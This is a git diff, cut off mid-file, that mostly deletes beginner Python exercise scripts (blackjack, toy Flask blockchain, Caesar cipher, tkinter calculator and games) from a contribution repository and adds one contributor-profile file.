x: - return mid - - elif array[mid] < x: - low = mid + 1 - - else: - high = mid - 1 - - return -1 - - -array = [3, 4, 5, 6, 7, 8, 9] -x = 4 - -result = binarySearch(array, x, 0, len(array)-1) - -if result != -1: - print("Element is present at index " + str(result)) -else: - print("Not found") diff --git a/Add Code Here/PYTHON/black-jack.py b/Add Code Here/PYTHON/black-jack.py deleted file mode 100644 index 654143a246a..00000000000 --- a/Add Code Here/PYTHON/black-jack.py +++ /dev/null @@ -1,353 +0,0 @@ -#!/Users/Utsav/downloads/udemy python - -# For using the same code in either Python 2 or 3 -# from __future__ import print_function - -""" milestone_project_1.py: BlackJack Game """ - -__author__ = "Utsav Shah" -__copyright__ = "Copyright 2017, The Austin Side Project" -__credits__ = ["Hustle"] -__license__ = "UTS" -__version__ = "1.1.0" -__maintainer__ = "Utsav Shah" -__email__ = "utsavshah507@gmail.com" -__status__ = "Productive" - -## Milestone Project 2 - -# Importing libraries -- used for shuffling cards -import random - -# Boolean type to know whether play is in hand -playing = False - -# Amount for buy-in -chip_pool = 100 -# raw_input('Enter the amount for buy-in: ') -print 'Your buy-in amount is: ',chip_pool - -bet = 1 - -restart_phrase = "Press d to deal the cards again, or press q to quit." - -# Hearts, Diamonds, Clubs, Spades -suits = ('H','D','S','C') - -# Possible Card Ranks -ranking = ('A','2','3','4','5','6','7','8','9','10','J','Q','K') - -# Point Val Dict (Dual existence of Ace is defined later) -card_val = {'A':1, '2':2, '3':3, '4':4, '5':5, '6':6, '7':7, '8':8, '9':9, '10':10, 'J':10, 'Q':10, 'K':10} - -# Creating Card Class - -class Card: - - def __init__(self, suit, rank): - self.suit = suit - self.rank = rank - - def __str__(self): - return self.suit + self.rank - - def grab_suit(self): - return self.suit - - def grab_rank(rank): - return self.rank - - def draw(self): - print (self.suit + self.rank) - -# Creating Hand Class -# Gives dual existence to Ace - -class Hand: - - def __init__(self): - self.cards = [] - self.value = 0 - - # Aces can be 1 0r 11 as defined below - self.ace = False - - def __str__(self): - '''Return a string of current hand composition''' - hand_comp = "" - - # List Comprehension - for card in self.cards: - card_name = card.__str__() - hand_comp += " " + card_name - - return 'The hand has %s' %hand_comp - - def card_add(self,card): - '''Add another card to the hand''' - self.cards.append(card) - - # Checking for Aces - if card.rank == 'A': - self.ace = True - self.value += card_val[card.rank] - - def calc_val(self): - '''Calculating value of hand, making aces = 1 if they don't bust the hand''' - - if (self.ace == True and self.value < 12): - return self.value + 10 - else: - return self.value - - def draw(self, hidden): - if hidden == True and playing == True: - # Don't show first hidden card - starting_card = 1 - else: - starting_card = 0 - for x in range(starting_card, len(self.cards)): - self.cards[x].draw() - -# Creating Class Deck - -class Deck: - - def __init__(self): - '''Creating a deck in order''' - self.deck = [] - for suit in suits: - for rank in ranking: - self.deck.append(Card(suit,rank)) - - def shuffle(self): - '''Shuffles the deck, using python's built-in random library''' - random.shuffle(self.deck) - - def deal(self): - '''Grabbing the first item in the deck''' - single_card = self.deck.pop() - return single_card - - def __str__(self): - deck_comp = " " - for card in self.cards: - deck_comp += " " + deck_comp.__str__() - - return "The deck has " + deck_comp - -# End of Classes - -# First Bet - -def make_bet(): - '''Ask the player for the bet amount and ''' - - global bet - bet = 0 - - print 'What amount of chips would you like to bet? (Please enter whole integer) ' - - # While loop to keep asking for the bet - while bet == 0: - # Using bet_comp as a checker - bet_comp = raw_input() - bet_comp = int(bet_comp) - - # Check to make sure the bet is within the remaining amount of chips left - if bet_comp >= 1 and bet_comp <= chip_pool: - bet = bet_comp - else: - print "Invalid bet, you only have " + str(chip_pool) + " remaining" - -def deal_cards(): - '''This function deals out cards and sets up round''' - - # Set up all global variables - global result, playing, deck, player_hand, dealer_hand, chip_pool, bet - - # Creating a deck - deck = Deck() - - # Shuffle it - deck.shuffle() - - # Set up the bet - make_bet() - - # Set up both player and dealer hands - player_hand = Hand() - dealer_hand = Hand() - - # Deal out initial cards - player_hand.card_add(deck.deal()) - player_hand.card_add(deck.deal()) - - result = "Hit or Stand? Press h for hit or s for stand: " - - if playing == True: - print 'Fold, Sorry' - chip_pool -= bet - - # Set up to know currently playing hand - playing = True - game_step() - - -# Hit Function - -def hit(): - '''Implementing the hit button''' - - global playing, chip_pool, deck, player_hand, dealer_hand, result, bet - - # If hand is in play add card - if playing: - if player_hand.calc_val() <= 21: - player_hand.card_add(deck.deal()) - - print "Player hand is %s" %player_hand - - if player_hand.calc_val() > 21: - result = 'Busted!' + restart_phrase - - chip_pool -= bet - playing = False - - else: - result = "Sorry, can't hit" + restart_phrase - - game_step() - -# Stand Function - -def stand(): - global playing, chip_pool, deck, player_hand, dealer_hand, result, bet - - '''This function plays the dealers hand, since stand was chosen''' - - if playing == False: - if player_hand.calc_val() > 0: - result = "Sorry, you can't stand!" - - # Going through all other possible options - else: - - # Sfot 17 Rule - while dealer_hand.calc_val() < 17: - dealer_hand.card_add(deck.deal()) - - # Dealer Busts - if dealer_hand.calc_val() > 21: - result = 'Dealer busts! You win! ' + restart_phrase - - chip_pool += bet - playing = False - - # Player has better hand than dealer - elif dealer_hand.calc_val() < player_hand.calc_val(): - result = 'You beat the dealer, you win! ' + restart_phrase - chip_pool += bet - playing = False - - # Push - elif dealer_hand.calc_val == player_hand.calc_val(): - result = 'Tied up, push!' + restart_phrase - playing = False - - # Dealer beats player - else: - result = 'Dealer Wins! ' + restart_phrase - chip_pool -= bet - playing = False - - game_step() - -# Function to print results and ask user for next step - -def game_step(): - '''Function to print game step/status on output''' - - # Display Player Hand - print "" - print ('Player Hand is: '),player_hand.draw(hidden = False) - - print '' - print 'Player hand total is: ' +str(player_hand.calc_val()) - - # Display Dealer Hand - print '' - print('Dealer Hand is: '), dealer_hand.draw(hidden = True) - - # If game round is over - if playing == False: - print " --- for a total of " + str(dealer_hand.calc_val()) - print "Chip Total: " +str(chip_pool) - - # Otherwise, don't know the second card yet - else: - print " with another card hidden upside down" - - # Print result of hit or stand - print '' - print result - - player_input() - - -# Function to exit the game - -def game_exit(): - print 'Thanks for playing!' - exit() - -# Function to read user input - -def player_input(): - '''Read user input, lower case it jsuts to be safe''' - - plin = raw_input().lower() - - if plin == 'h': - hit() - elif plin == 's': - stand() - elif plin == 'd': - deal_cards() - elif plin == 'q': - game_exit() - else: - print "Invalid Input. Enter h, s, d, or q: " - player_input() - -# Intro to game - -def intro(): - statement = '''Welcome to BlackJack! Get as close to 21 as you can without getting over! -Dealer hits until she reaches 17. Aces count as 1 or 11. Card output goes a letter followed by a number of face notation. ''' - - print statement - print '' - -# Playing the Game - -'''The following code will initiate the game! -(Note: Need to Run a 11 Cells)''' - -# Create a Deck -deck = Deck() - -# Shuffle it -deck.shuffle() - -# Create player and dealer hands -print '' -player_hand = Hand() -print '' -deal_hand = Hand() - -# Print the intro -intro() - -# Deal out the cards and start the game! -deal_cards() diff --git a/Add Code Here/PYTHON/blockchain.py b/Add Code Here/PYTHON/blockchain.py deleted file mode 100644 index b0d8baf32fd..00000000000 --- a/Add Code Here/PYTHON/blockchain.py +++ /dev/null @@ -1,82 +0,0 @@ -import datetime -import hashlib -import json -from flask import Flask, jsonify -class Blockchain: - def __init__(self): - self.chain=[] - self.create_block(proof=1, previous_hash='0') - def create_block(self, proof, previous_hash): - block={'index':len(self.chain)+1, - 'timestamp': str(datetime.datetime.now()), - 'proof':proof, - 'previous_hash': previous_hash} - self.chain.append(block) - return block - def get_previous_block(self): - return self.chain[-1] - def proof_of_work(self, previous_proof): - new_proof=1 - check_proof = False - while check_proof is False: - hash_operation= hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() - if hash_operation[:4]=='0000': - check_proof = True - else: - new_proof +=1 - return new_proof - def hash(self, block): - encoded_block=json.dumps(block,sort_keys=True).encode(); - return hashlib.sha256(encoded_block).hexdigest() - def is_chain_valid(self, chain): - previous_block = chain[0] - block_index=1 - while block_index < len(chain): - - block = chain[block_index] - if block['previous_hash'] != self.hash(previous_block): - return False - previous_proof = previous_block['proof'] - proof= block['proof'] - hash_operation= hashlib.sha256(str(proof**2 - previous_proof**2).encode()).hexdigest() - if hash_operation[:4] !='0000': - return False - previous_block =block - block_index +=1 - return True - -app = Flask(__name__) - -blockchain = Blockchain() - -@app.route("/mine_block", methods=["GET"]) -def mine_block(): - - previous_block = blockchain.get_previous_block() - previous_proof =previous_block['proof'] - proof = blockchain.proof_of_work(previous_proof) - previous_hash=blockchain.hash(previous_block) - block = blockchain.create_block(proof, previous_hash) - response = {'message': "Congratulations! you just mined a block", - 'index': block['index'], - 'timestamp': block['timestamp'], - 'proof': block['proof'], - 'previous_hash': block['previous_hash']} - return jsonify(response) , 200 - -@app.route("/get_chain", methods=["GET"]) -def get_chain(): - response= {'chain': blockchain.chain, - 'length': len(blockchain.chain)} - return jsonify(response) , 200 - -@app.route("/is_valid", methods=["GET"]) -def is_valid(): - is_valid= blockchain.is_chain_valid(blockchain.chain) - if is_valid: - response = {'message': "All good"} - else: - response ={'message': "We have a problem"} - return jsonify(response) , 200 - -app.run(host ='0.0.0.0', port = 5000) \ No newline at end of file diff --git a/Add Code Here/PYTHON/brand_name_generator.py b/Add Code Here/PYTHON/brand_name_generator.py deleted file mode 100644 index 5e36cd6ecc1..00000000000 --- a/Add Code Here/PYTHON/brand_name_generator.py +++ /dev/null @@ -1,11 +0,0 @@ -# Program Greeting -print("Welcome to the Brand Name Generator!") - -# Ask user what City they grew up in and set to variable -city = input("What City did you grow up in?: ") - -# Ask user for their pet's name and set to variable -pet = input("What's your pet's name?: ") - -# Print Brand Name combining city and pet variables -print("Your Brand Name could be " + city + " " + pet) diff --git a/Add Code Here/PYTHON/bubblesort.py b/Add Code Here/PYTHON/bubblesort.py deleted file mode 100644 index d6703d29d65..00000000000 --- a/Add Code Here/PYTHON/bubblesort.py +++ /dev/null @@ -1,13 +0,0 @@ -def bubble_sort(list): - for i in range(0, len(list)-1): - for j in range(len(list)-1): - if (list[j] > list[j+1]): - temp = list[j] - list[j] = list[j+1] - list[j+1] = temp - return list - - -list = [5, 3, 8, 6, 7, 2] - -print(bubble_sort(list)) diff --git a/Add Code Here/PYTHON/caesar_cipher b/Add Code Here/PYTHON/caesar_cipher deleted file mode 100644 index ee562745bee..00000000000 --- a/Add Code Here/PYTHON/caesar_cipher +++ /dev/null @@ -1,61 +0,0 @@ -def encrypt_function(ptxt,key): - ctxt="" - for i in range(len(ptxt)): - char =ptxt[i] - if(char.isupper()): - ctxt+=chr((ord(char)+key-65)%26+65) - else: - ctxt+=chr((ord(char)+key-97)%26+97) - return ctxt - -def decrypt_function(ctxt,key): - ptxt="" - for i in range(len(ctxt)): - char =ctxt[i] - if(char.isupper()): - ptxt+=chr((ord(char)-key-65)%26+65) - else: - ptxt+=chr((ord(char)-key-97)%26+97) - return ptxt - -def main(): - print("_-_-_-_-_-_-_-_-_ Caesar Cipher _-_-_-_-_-_-_-_-_") - ch="Y" - key=3 - while(ch=="Y" or ch=="y"): - print("\n\t*** MENU ***") - print("\n1. Caeser Cipher {Key is fixed}.") - print("2. Shift Cipher {Key is entered}.\n") - ans1=int(input("\tEnter your choice: ")) - - print("\n1. Encyrption") - print("2. Decryption\n") - ans2=int(input("\tEnter your choice: ")) - - if(ans1==1 and ans2==1): - input_txt=input("\nEnter plain text: ") - print("\nPLAIN TEXT:",input_txt) - print("CIPHER TEXT:",encrypt_function(input_txt,key)) - elif(ans1==1 and ans2==2): - input_txt=input("\nEnter cipher text: ") - print("\nCIPHER TEXT:",input_txt) - print("PLAIN TEXT:",decrypt_function(input_txt,key)) - elif(ans1==2 and ans2==1): - key=int(input("\nEnter the key: "))%26 - - input_txt=input("Enter plain text: ") - print("\nPLAIN TEXT:",input_txt) - print("CIPHER TEXT:",encrypt_function(input_txt,key)) - elif(ans1==2 and ans2==2): - key=int(input("\nEnter the key: "))%26 - - input_txt=input("Enter cipher text: ") - print("\nCIPHER TEXT:",input_txt) - print("PLAIN TEXT:",decrypt_function(input_txt,key)) - else: - print("\nInvalid option! Try again") - - ch=input("\nDo you want to try again? {Y/N}: ") - print("\n*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*") - -main() diff --git a/Add Code Here/PYTHON/calculator.py b/Add Code Here/PYTHON/calculator.py deleted file mode 100644 index d4e46a75345..00000000000 --- a/Add Code Here/PYTHON/calculator.py +++ /dev/null @@ -1,167 +0,0 @@ -import tkinter as tk - -LARGE_FONT_STYLE = ("Arial", 40, "bold") -SMALL_FONT_STYLE = ("Arial", 16) -DIGITS_FONT_STYLE = ("Arial", 24, "bold") -DEFAULT_FONT_STYLE = ("Arial", 20) - -OFF_WHITE = "#F8FAFF" -WHITE = "#FFFFFF" -LIGHT_BLUE = "#CCEDFF" -LIGHT_GRAY = "#F5F5F5" -LABEL_COLOR = "#25265E" - - -class Calculator: - def __init__(self): - self.window = tk.Tk() - self.window.geometry("375x667") - self.window.resizable(0, 0) - self.window.title("Debjit's Calculator") - - self.total_expression = "" - self.current_expression = "" - self.display_frame = self.create_display_frame() - - self.total_label, self.label = self.create_display_labels() - - self.digits = { - 7: (1, 1), 8: (1, 2), 9: (1, 3), - 4: (2, 1), 5: (2, 2), 6: (2, 3), - 1: (3, 1), 2: (3, 2), 3: (3, 3), - 0: (4, 2), '.': (4, 1) - } - self.operations = {"/": "\u00F7", "*": "\u00D7", "-": "-", "+": "+"} - self.buttons_frame = self.create_buttons_frame() - - self.buttons_frame.rowconfigure(0, weight=1) - for x in range(1, 5): - self.buttons_frame.rowconfigure(x, weight=1) - self.buttons_frame.columnconfigure(x, weight=1) - self.create_digit_buttons() - self.create_operator_buttons() - self.create_special_buttons() - self.bind_keys() - - def bind_keys(self): - self.window.bind("", lambda event: self.evaluate()) - for key in self.digits: - self.window.bind(str(key), lambda event, digit=key: self.add_to_expression(digit)) - - for key in self.operations: - self.window.bind(key, lambda event, operator=key: self.append_operator(operator)) - - def create_special_buttons(self): - self.create_clear_button() - self.create_equals_button() - self.create_square_button() - self.create_sqrt_button() - - def create_display_labels(self): - total_label = tk.Label(self.display_frame, text=self.total_expression, anchor=tk.E, bg=LIGHT_GRAY, - fg=LABEL_COLOR, padx=24, font=SMALL_FONT_STYLE) - total_label.pack(expand=True, fill='both') - - label = tk.Label(self.display_frame, text=self.current_expression, anchor=tk.E, bg=LIGHT_GRAY, - fg=LABEL_COLOR, padx=24, font=LARGE_FONT_STYLE) - label.pack(expand=True, fill='both') - - return total_label, label - - def create_display_frame(self): - frame = tk.Frame(self.window, height=221, bg=LIGHT_GRAY) - frame.pack(expand=True, fill="both") - return frame - - def add_to_expression(self, value): - self.current_expression += str(value) - self.update_label() - - def create_digit_buttons(self): - for digit, grid_value in self.digits.items(): - button = tk.Button(self.buttons_frame, text=str(digit), bg=WHITE, fg=LABEL_COLOR, font=DIGITS_FONT_STYLE, - borderwidth=0, command=lambda x=digit: self.add_to_expression(x)) - button.grid(row=grid_value[0], column=grid_value[1], sticky=tk.NSEW) - - def append_operator(self, operator): - self.current_expression += operator - self.total_expression += self.current_expression - self.current_expression = "" - self.update_total_label() - self.update_label() - - def create_operator_buttons(self): - i = 0 - for operator, symbol in self.operations.items(): - button = tk.Button(self.buttons_frame, text=symbol, bg=OFF_WHITE, fg=LABEL_COLOR, font=DEFAULT_FONT_STYLE, - borderwidth=0, command=lambda x=operator: self.append_operator(x)) - button.grid(row=i, column=4, sticky=tk.NSEW) - i += 1 - - def clear(self): - self.current_expression = "" - self.total_expression = "" - self.update_label() - self.update_total_label() - - def create_clear_button(self): - button = tk.Button(self.buttons_frame, text="C", bg=OFF_WHITE, fg=LABEL_COLOR, font=DEFAULT_FONT_STYLE, - borderwidth=0, command=self.clear) - button.grid(row=0, column=1, sticky=tk.NSEW) - - def square(self): - self.current_expression = str(eval(f"{self.current_expression}**2")) - self.update_label() - - def create_square_button(self): - button = tk.Button(self.buttons_frame, text="x\u00b2", bg=OFF_WHITE, fg=LABEL_COLOR, font=DEFAULT_FONT_STYLE, - borderwidth=0, command=self.square) - button.grid(row=0, column=2, sticky=tk.NSEW) - - def sqrt(self): - self.current_expression = str(eval(f"{self.current_expression}**0.5")) - self.update_label() - - def create_sqrt_button(self): - button = tk.Button(self.buttons_frame, text="\u221ax", bg=OFF_WHITE, fg=LABEL_COLOR, font=DEFAULT_FONT_STYLE, - borderwidth=0, command=self.sqrt) - button.grid(row=0, column=3, sticky=tk.NSEW) - - def evaluate(self): - self.total_expression += self.current_expression - self.update_total_label() - try: - self.current_expression = str(eval(self.total_expression)) - - self.total_expression = "" - except Exception as e: - self.current_expression = "Error" - finally: - self.update_label() - - def create_equals_button(self): - button = tk.Button(self.buttons_frame, text="=", bg=LIGHT_BLUE, fg=LABEL_COLOR, font=DEFAULT_FONT_STYLE, - borderwidth=0, command=self.evaluate) - button.grid(row=4, column=3, columnspan=2, sticky=tk.NSEW) - - def create_buttons_frame(self): - frame = tk.Frame(self.window) - frame.pack(expand=True, fill="both") - return frame - - def update_total_label(self): - expression = self.total_expression - for operator, symbol in self.operations.items(): - expression = expression.replace(operator, f' {symbol} ') - self.total_label.config(text=expression) - - def update_label(self): - self.label.config(text=self.current_expression[:11]) - - def run(self): - self.window.mainloop() - - -if __name__ == "__main__": - calc = Calculator() - calc.run() \ No newline at end of file diff --git a/Add Code Here/PYTHON/calendar.py b/Add Code Here/PYTHON/calendar.py deleted file mode 100644 index 9ac85750038..00000000000 --- a/Add Code Here/PYTHON/calendar.py +++ /dev/null @@ -1,6 +0,0 @@ -import calendar - -yy = int(input("Enter year: ")) -mm = int(input("Enter month: ")) - -print(calendar.month(yy, mm)) diff --git a/Add Code Here/PYTHON/char.py b/Add Code Here/PYTHON/char.py deleted file mode 100644 index 54daa0a72a3..00000000000 --- a/Add Code Here/PYTHON/char.py +++ /dev/null @@ -1,12 +0,0 @@ -def inchar(array): - for words in array: - letters = " " - letters = words - print(letters) - for alpha in letters: - - print(' '.join(alpha)) - -if __name__ =="__main__": - arr = ["aaaa","ssss","yyyy"] - inchar(arr) \ No newline at end of file diff --git a/Add Code Here/PYTHON/conditional statements.py b/Add Code Here/PYTHON/conditional statements.py deleted file mode 100644 index 3e2f962f8cf..00000000000 --- a/Add Code Here/PYTHON/conditional statements.py +++ /dev/null @@ -1,10 +0,0 @@ - -n = int(input()) -if n % 2 == 1: - print("Weird") -elif n % 2 == 0 and 2 <= n <= 5: - print("Not Weird") -elif n % 2 == 0 and 6 <= n <= 20: - print("Weird") -else: - print("Not Weird") diff --git a/Add Code Here/PYTHON/count_occurence.py b/Add Code Here/PYTHON/count_occurence.py deleted file mode 100644 index f0471b5ebd8..00000000000 --- a/Add Code Here/PYTHON/count_occurence.py +++ /dev/null @@ -1,15 +0,0 @@ -# Write a function which takes a string as input and prints total occurrences of each character. - -def charOccur(s): - occurence = {} - - for i in s: - if i in occurence: - occurence[i]=occurence[i]+1 - else: - occurence[i]=1 - - return occurence - -string1 = input('Enter a string:- ') -print(charOccur(string1)) diff --git a/Add Code Here/PYTHON/covid symbol.py b/Add Code Here/PYTHON/covid symbol.py deleted file mode 100644 index ade87ed22f6..00000000000 --- a/Add Code Here/PYTHON/covid symbol.py +++ /dev/null @@ -1,10 +0,0 @@ -from turtle import * -color ('green') -bgcolor ('black') -speed(11) -hideturtle -b = 0 -while b < 200: - right(b) - forward(b * 3) - b = b + 1 diff --git a/Add Code Here/PYTHON/currency converter.py b/Add Code Here/PYTHON/currency converter.py deleted file mode 100644 index a7b736d4b93..00000000000 --- a/Add Code Here/PYTHON/currency converter.py +++ /dev/null @@ -1,44 +0,0 @@ -import tkinter as tk -main_screen = tk.Tk() -main_screen.title("Currency Converter") -#Canvas is the window that gets created when we run the app -main_screen_canvas = tk.Canvas(main_screen, width = 400, height = 400, -bg="RoyalBlue4") -main_screen_canvas.pack() -#Label 1 is for naming the App -header = tk.Label(main_screen, text='CURRENCY CONVERTER') -header.config(font=('helvetica', 10, 'bold', -'underline'),bg='RoyalBlue4',fg='white') -main_screen_canvas.create_window(200, 20, window=header) - -#Label 2 is for giving the text to entry field -currency_INR_label = tk.Label(main_screen, text='INR:') -currency_INR_label.config(font=('helvetica', 10, -'bold'),bg='RoyalBlue4',fg='white') -main_screen_canvas.create_window(140, 100, window=currency_INR_label) - -#currency_INR_entry takes the amount -currency_INR_entry = tk.Entry(main_screen, width = 10, font=('helvetica', 10, -'bold'),bg='SkyBlue4',fg='white') -main_screen_canvas.create_window(200, 100, window=currency_INR_entry) - -#Creating the remaining labels and entry -#dollar label creation -currency_dollar_label = tk.Label(main_screen,text="DOLLARS:") -currency_dollar_label.config(font=('helvetica', 10, -'bold'),bg='RoyalBlue4',fg='white') -main_screen_canvas.create_window(120, 300, window=currency_dollar_label) -#entry for dollar label -converted_currency = tk.StringVar() -currency_dollar_converted_entry = tk.Entry(main_screen, width = 10, -font=('helvetica', 10, 'bold'),bg='SkyBlue4',fg='white', textvariable =converted_currency) -main_screen_canvas.create_window(200, 300,window=currency_dollar_converted_entry) -#Function to convert our currency -def conversion(): - dollar = 77.54 - inr = currency_INR_entry.get() - dollar_converted = round(float(inr)/dollar, 2) - converted_currency.set(str(dollar_converted)) -#convert_button which when clicked, makes the function conversion run -convert_button = tk.Button(text='Convert', command=conversion,font=('helvetica', 10, 'bold'),bg='navy blue',fg='white') -main_screen_canvas.create_window(200, 200, window=convert_button) diff --git a/Add Code Here/PYTHON/dasdebanna.py b/Add Code Here/PYTHON/dasdebanna.py new file mode 100644 index 00000000000..34c9a61f944 --- /dev/null +++ b/Add Code Here/PYTHON/dasdebanna.py @@ -0,0 +1,7 @@ +print(""" +--- +name: Debanna Das +institution/company: BITS Pilani +github: https://github.com/dasdebanna +--- +""") diff --git a/Add Code Here/PYTHON/date_calculator.py b/Add Code Here/PYTHON/date_calculator.py deleted file mode 100644 index 3317b1bf282..00000000000 --- a/Add Code Here/PYTHON/date_calculator.py +++ /dev/null @@ -1,40 +0,0 @@ -#program to calculate date after given date - -year = int(input("Input a year: ")) - -if year<0: - print("The year cannot be negative") -elif (year % 400 == 0): - leap_year = True -elif (year % 100 == 0): - leap_year = False -elif (year % 4 == 0): - leap_year = True -else: - leap_year = False - -month = int(input("Input a month [1-12]: ")) -if month>12 or month<1: - print("Invalid month") - exit() -elif month in (1, 3, 5, 7, 8, 10, 12): - month_length = 31 -elif month == 2: - if leap_year: - month_length = 29 - else: - month_length = 28 -else: - month_length = 30 - -day = int(input("Input a day [1-31]: ")) -if day>month_length or day<1: - print("Invalid day") - exit() -elif day < month_length: - day += 1 -else: - day = 1 - month += 1 - -print("The next date is [dd-mm-yyyy] %d-%d-%d." % (day, month, year)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/dda-algo-1.py b/Add Code Here/PYTHON/dda-algo-1.py deleted file mode 100644 index 8787e54d8be..00000000000 --- a/Add Code Here/PYTHON/dda-algo-1.py +++ /dev/null @@ -1,16 +0,0 @@ -def algo_Draw_Point(x1,y1,x2,y2): - dx=x2-x1 - dy=y2-y1 - if(abs(dx)>abs(dy)): - step=abs(dy) - else: - step = abs(dy) - - xinc = dx/step - yinc = dy/step - - for i in range(step): - print(x1,y1) - x1=x1+xinc - y1=y1+yinc -algo_Draw_Point(3,4,30,40) \ No newline at end of file diff --git a/Add Code Here/PYTHON/decorators.py b/Add Code Here/PYTHON/decorators.py deleted file mode 100644 index e0e496c8cdd..00000000000 --- a/Add Code Here/PYTHON/decorators.py +++ /dev/null @@ -1,27 +0,0 @@ -import time -def time_it(func): - def wrapper(*args, **kwargs): - start = time.time() - result = func(*args,**kwargs) - end = time.time() - print(func.__name__ +" took " + str((end-start)*1000) + "mil sec") - return result - return wrapper - -@time_it -def calc_square(numbers): - result = [] - for number in numbers: - result.append(number*number) - return result - -@time_it -def calc_cube(numbers): - result = [] - for number in numbers: - result.append(number*number*number) - return result - -array = range(1,100000) -out_square = calc_square(array) -out_cube = calc_cube(array) diff --git a/Add Code Here/PYTHON/distinct.py b/Add Code Here/PYTHON/distinct.py deleted file mode 100644 index 5c8c88b567e..00000000000 --- a/Add Code Here/PYTHON/distinct.py +++ /dev/null @@ -1,15 +0,0 @@ -#Using count to find out the length of the distinct item in the list. -# def cDistinct(li): -# count = 1 -# for i in range(1,len(li)): -# if li[i] not in li[0:i]: -# count = count+1 - -# return count - -#Using set to find out the distinct element in the list -def cDistinct(l): - return len(set(l)) - - -print(cDistinct([2,1,10,2,1,3,3])) \ No newline at end of file diff --git a/Add Code Here/PYTHON/draw.py b/Add Code Here/PYTHON/draw.py deleted file mode 100644 index c067d0a9162..00000000000 --- a/Add Code Here/PYTHON/draw.py +++ /dev/null @@ -1,17 +0,0 @@ -from turtle import * - -bgcolor("black") -color("red") -speed(1) -right(45) - -for i in range(150): - circle(30) - if 7 < i < 62: - left(5) - if 80 < i < 133: - right(5) - if i < 80: - forward(10) - else: - forward(5) diff --git a/Add Code Here/PYTHON/edge_detection.py b/Add Code Here/PYTHON/edge_detection.py deleted file mode 100644 index 036f6a2b270..00000000000 --- a/Add Code Here/PYTHON/edge_detection.py +++ /dev/null @@ -1,113 +0,0 @@ -import cv2 - -import numpy as np - -def draw_contours(img, cnts): - - img = np.copy(img) - - img = cv2.drawContours(img, cnts, -1, (0, 255, 0), 2) - - return img - -def draw_min_rect_circle(img, cnts): - - img = np.copy(img) - - for cnt in cnts: - - x, y, w, h = cv2.boundingRect(cnt) - - cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2) - - min_rect = cv2.minAreaRect(cnt) - - min_rect = np.int0(cv2.boxPoints(min_rect)) - - cv2.drawContours(img, [min_rect], 0, (0, 255, 0), 2) - - (x, y), radius = cv2.minEnclosingCircle(cnt) - - center, radius = (int(x), int(y)), int(radius) - - img = cv2.circle(img, center, radius, (0, 0, 255), 2) - - return img - -def draw_approx_hull_polygon(img, cnts): - - - - img = np.zeros(img.shape, dtype=np.uint8) - - cv2.drawContours(img, cnts, -1, (255, 0, 0), 2) - - min_side_len = img.shape[0] / 32 - - min_poly_len = img.shape[0] / 16 - - min_side_num = 3 - - approxs = [cv2.approxPolyDP(cnt, min_side_len, True) for cnt in cnts] - - approxs = [approx for approx in approxs if cv2.arcLength(approx, True) > min_poly_len] - - approxs = [approx for approx in approxs if len(approx) > min_side_num] - - - - cv2.polylines(img, approxs, True, (0, 255, 0), 2) - - hulls = [cv2.convexHull(cnt) for cnt in cnts] - - cv2.polylines(img, hulls, True, (0, 0, 255), 2) - - return img - -def run(): - - image = cv2.imread('Demo/test_edge_detection.jpg') - - thresh = cv2.Canny(image, 128, 256) - - thresh, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) - - """ - - [[[-1 -1 -1 -1]]] :hierarchy # cv2.Canny() - - - - [[[ 1 -1 -1 -1] - - [ 2 0 -1 -1] - - [ 3 1 -1 -1] - - [-1 2 -1 -1]]] :hierarchy # cv2.threshold() - - """ - - imgs = [ - - image, thresh, - - draw_min_rect_circle(image, contours), - - draw_approx_hull_polygon(image, contours), - - ] - - for img in imgs: - - - - cv2.imshow("contours", img) - - cv2.waitKey(1943) - -if __name__ == '__main__': - - run() - -pass diff --git a/Add Code Here/PYTHON/eggCatcher.py b/Add Code Here/PYTHON/eggCatcher.py deleted file mode 100644 index de4a14d4ce6..00000000000 --- a/Add Code Here/PYTHON/eggCatcher.py +++ /dev/null @@ -1,103 +0,0 @@ -from itertools import cycle -from random import randrange -from tkinter import Tk , Canvas , messagebox , font - -canvas_width = 800 -canvas_height = 400 - -win = Tk() -c = Canvas(win , width = canvas_width , height = canvas_height , background = 'deep sky blue') -c.create_rectangle(-5, canvas_height - 100 , canvas_width + 5 , canvas_height + 5 , fill='sea green', width=0) -c.create_oval(-80,-80,120,120,fill='orange' , width=0) -c.pack() - -color_cycle = cycle(['light blue' , 'light pink' , 'light yellow','light green' , 'red', 'blue' , 'green','black']) -egg_width = 45 -egg_height = 55 -egg_score = 10 -egg_speed = 100 -egg_interval = 2500 -difficulty_factor = 0.95 - -catcher_color = 'red' -catcher_width = 100 -catcher_height = 100 -catcher_start_x = canvas_width / 2 - catcher_width / 2 -catcher_start_y = canvas_height -catcher_height - 20 -catcher_start_x2 = catcher_start_x + catcher_width -catcher_start_y2 = catcher_start_y + catcher_height - -catcher = c.create_arc(catcher_start_x ,catcher_start_y ,catcher_start_x2,catcher_start_y2 , start=200 , extent = 140 , style='arc' , outline=catcher_color , width=3) - -score = 0 -score_text = c.create_text(10,10,anchor='nw' , font=('Arial',18,'bold'),fill='yellow',text='Score : ' + str(score)) - -lives_remaning = 3 -lives_text = c.create_text(canvas_width-10,10,anchor='ne' , font=('Arial',18,'bold'),fill='darkblue',text='Lives : ' + str(lives_remaning)) - -eggs = [] - -def create_eggs(): - x = randrange(10,740) - y = 40 - new_egg = c.create_oval(x,y,x+egg_width,y+egg_height,fill=next(color_cycle),width=0) - eggs.append(new_egg) - win.after(egg_interval,create_eggs) - -def move_eggs(): - for egg in eggs: - (egg_x,egg_y,egg_x2,egg_y2) = c.coords(egg) - c.move(egg,0,10) - if egg_y2 > canvas_height: - egg_dropped(egg) - win.after(egg_speed,move_eggs) - -def egg_dropped(egg): - eggs.remove(egg) - c.delete(egg) - lose_a_life() - if lives_remaning == 0: - messagebox.showinfo('GAME OVER!' , 'Final Score : ' + str(score)) - win.destroy() - -def lose_a_life(): - global lives_remaning - lives_remaning -= 1 - c.itemconfigure(lives_text , text='Lives : ' + str(lives_remaning)) - -def catch_check(): - (catcher_x,catcher_y,catcher_x2,catcher_y2) = c.coords(catcher) - for egg in eggs: - (egg_x,egg_y,egg_x2,egg_y2) = c.coords(egg) - if catcher_x < egg_x and 